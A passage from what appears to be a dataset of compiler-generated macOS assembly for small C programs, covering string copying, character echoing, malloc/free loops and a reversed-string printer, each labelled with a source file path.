Depth=1 callq _getchar movl %eax, %ecx movl %ecx, -16(%rbp) xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $-1, %ecx movb %al, -22(%rbp) ## 1-byte Spill je LBB1_11 ## %bb.10: ## in Loop: Header=BB1_9 Depth=1 cmpl $10, -16(%rbp) setne %al movb %al, -22(%rbp) ## 1-byte Spill LBB1_11: ## in Loop: Header=BB1_9 Depth=1 movb -22(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB1_12 jmp LBB1_13 LBB1_12: ## in Loop: Header=BB1_9 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB1_9 LBB1_13: jmp LBB1_17 LBB1_14: cmpl $10, -16(%rbp) jne LBB1_16 ## %bb.15: movl -16(%rbp), %eax movb %al, %dl movq -8(%rbp), %rax movslq -20(%rbp), %rcx movb %dl, (%rax,%rcx) movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) LBB1_16: movq -8(%rbp), %rax movslq -20(%rbp), %rcx movb $0, (%rax,%rcx) LBB1_17: movl -20(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _copy ## -- Begin function copy .p2align 4, 0x90 _copy: ## @copy .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl $0, -20(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movb (%rax,%rcx), %al movq -8(%rbp), %rcx movslq -20(%rbp), %rdx movb %al, (%rcx,%rdx) movsbl %al, %eax cmpl $0, %eax je LBB2_3 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB2_1 LBB2_3: popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d" .subsections_via_symbols
the_stack_data/942082.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _kill ; -- Begin function kill .p2align 2 _kill: ; @kill .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str w0, [sp, #8] str w1, [sp, #4] ldr w8, [sp, #8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr w0, [sp, #4] bl __exit LBB0_2: ldur w0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _kill ## -- Begin function kill .p2align 4, 0x90 _kill: ## @kill .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -8(%rbp) movl %esi, -12(%rbp) cmpl $1, -8(%rbp) jne LBB0_2 ## %bb.1: movl -12(%rbp), %edi callq __exit LBB0_2: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/70154.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur w0, [x29, #-8] str x1, [sp, #16] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 bl _getchar strb w0, [sp, #15] ands w8, w0, #0xff cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldrsb w0, [sp, #15] bl _putchar b LBB0_1 LBB0_3: mov w0, #0 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 callq _getchar ## kill: def $al killed $al killed $eax movb %al, -17(%rbp) cmpb $0, %al je LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movsbl -17(%rbp), %edi callq _putchar jmp LBB0_1 LBB0_3: xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/57612.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur w0, [x29, #-8] str x1, [sp, #16] ; kill: def $x8 killed $xzr str xzr, [sp, #8] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #4] ldur w9, [x29, #-8] add w9, w9, #1 subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_10 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #16] ldrsw x9, [sp, #4] ldr x8, [x8, x9, lsl #3] ldrsb w8, [x8] subs w8, w8, #49 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 mov x0, #1 bl _malloc str x0, [sp, #8] b LBB0_8 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #4] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 mov x0, #42 bl _malloc str x0, [sp, #8] b LBB0_7 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 mov x0, #56 bl _malloc str x0, [sp, #8] b LBB0_7 LBB0_7: ; in Loop: Header=BB0_1 Depth=1 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #4] add w8, w8, #1 str w8, [sp, #4] b LBB0_1 LBB0_10: ldr x8, [sp, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: ldr x0, [sp, #8] bl _free b LBB0_12 LBB0_12: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movq $0, -24(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movl -28(%rbp), %eax movl -8(%rbp), %ecx addl $1, %ecx cmpl %ecx, %eax jge LBB0_10 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -16(%rbp), %rax movslq -28(%rbp), %rcx movq (%rax,%rcx,8), %rax movsbl (%rax), %eax cmpl $49, %eax jne LBB0_4 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl $1, %edi callq _malloc movq %rax, -24(%rbp) jmp LBB0_8 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 cmpl $0, -28(%rbp) jne LBB0_6 ## %bb.5: ## in Loop: Header=BB0_1 Depth=1 movl $42, %edi callq _malloc movq %rax, -24(%rbp) jmp LBB0_7 LBB0_6: ## in Loop: Header=BB0_1 Depth=1 movl $56, %edi callq _malloc movq %rax, -24(%rbp) LBB0_7: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_8 LBB0_8: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_9 LBB0_9: ## in Loop: Header=BB0_1 Depth=1 movl -28(%rbp), %eax addl $1, %eax movl %eax, -28(%rbp) jmp LBB0_1 LBB0_10: cmpq $0, -24(%rbp) je LBB0_12 ## %bb.11: movq -24(%rbp), %rdi callq _free LBB0_12: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/22012796.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #12] ; 4-byte Folded Spill stur wzr, [x29, #-4] stur w0, [x29, #-8] str x1, [sp, #16] ldr x8, [sp, #16] ldr x1, [x8, #8] adrp x0, _puts@GOTPAGE ldr x0, [x0, _puts@GOTPAGEOFF] bl _show ldr x8, [sp, #16] ldr x1, [x8, #8] adrp x0, _rputs@PAGE add x0, x0, _rputs@PAGEOFF bl _show ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _show ; -- Begin function show .p2align 2 _show: ; @show .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str x1, [sp] ldr x8, [sp, #8] ldr x0, [sp] blr x8 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _rputs ; -- Begin function rputs .p2align 2 _rputs: ; @rputs .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x8, [sp, #8] str x8, [sp] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #8] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB2_3 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldr x8, [sp, #8] add x8, x8, #1 str x8, [sp, #8] b LBB2_1 LBB2_3: b LBB2_4 LBB2_4: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #8] ldr x9, [sp] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB2_6 b LBB2_5 LBB2_5: ; in Loop: Header=BB2_4 Depth=1 ldr x8, [sp, #8] subs x9, x8, #1 str x9, [sp, #8] ldursb w0, [x8, #-1] bl _putchar b LBB2_4 LBB2_6: mov w0, #10 bl _putchar ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movq -16(%rbp), %rax movq 8(%rax), %rsi movq _puts@GOTPCREL(%rip), %rdi callq _show movq -16(%rbp), %rax movq 8(%rax), %rsi leaq _rputs(%rip), %rdi callq _show xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _show ## -- Begin function show .p2align 4, 0x90 _show: ## @show .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rax movq -16(%rbp), %rdi callq *%rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _rputs ## -- Begin function rputs .p2align 4, 0x90 _rputs: ## @rputs .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movq %rax, -16(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 movq -8(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB2_3 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movq -8(%rbp), %rax addq $1, %rax movq %rax, -8(%rbp) jmp LBB2_1 LBB2_3: jmp LBB2_4 LBB2_4: ## =>This Inner Loop Header: Depth=1 movq -8(%rbp), %rax cmpq -16(%rbp), %rax je LBB2_6 ## %bb.5: ## in Loop: Header=BB2_4 Depth=1 movq -8(%rbp), %rax movq %rax, %rcx addq $-1, %rcx movq %rcx, -8(%rbp) movsbl -1(%rax), %edi callq _putchar jmp LBB2_4 LBB2_6: movl $10, %edi callq _putchar addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/141167.c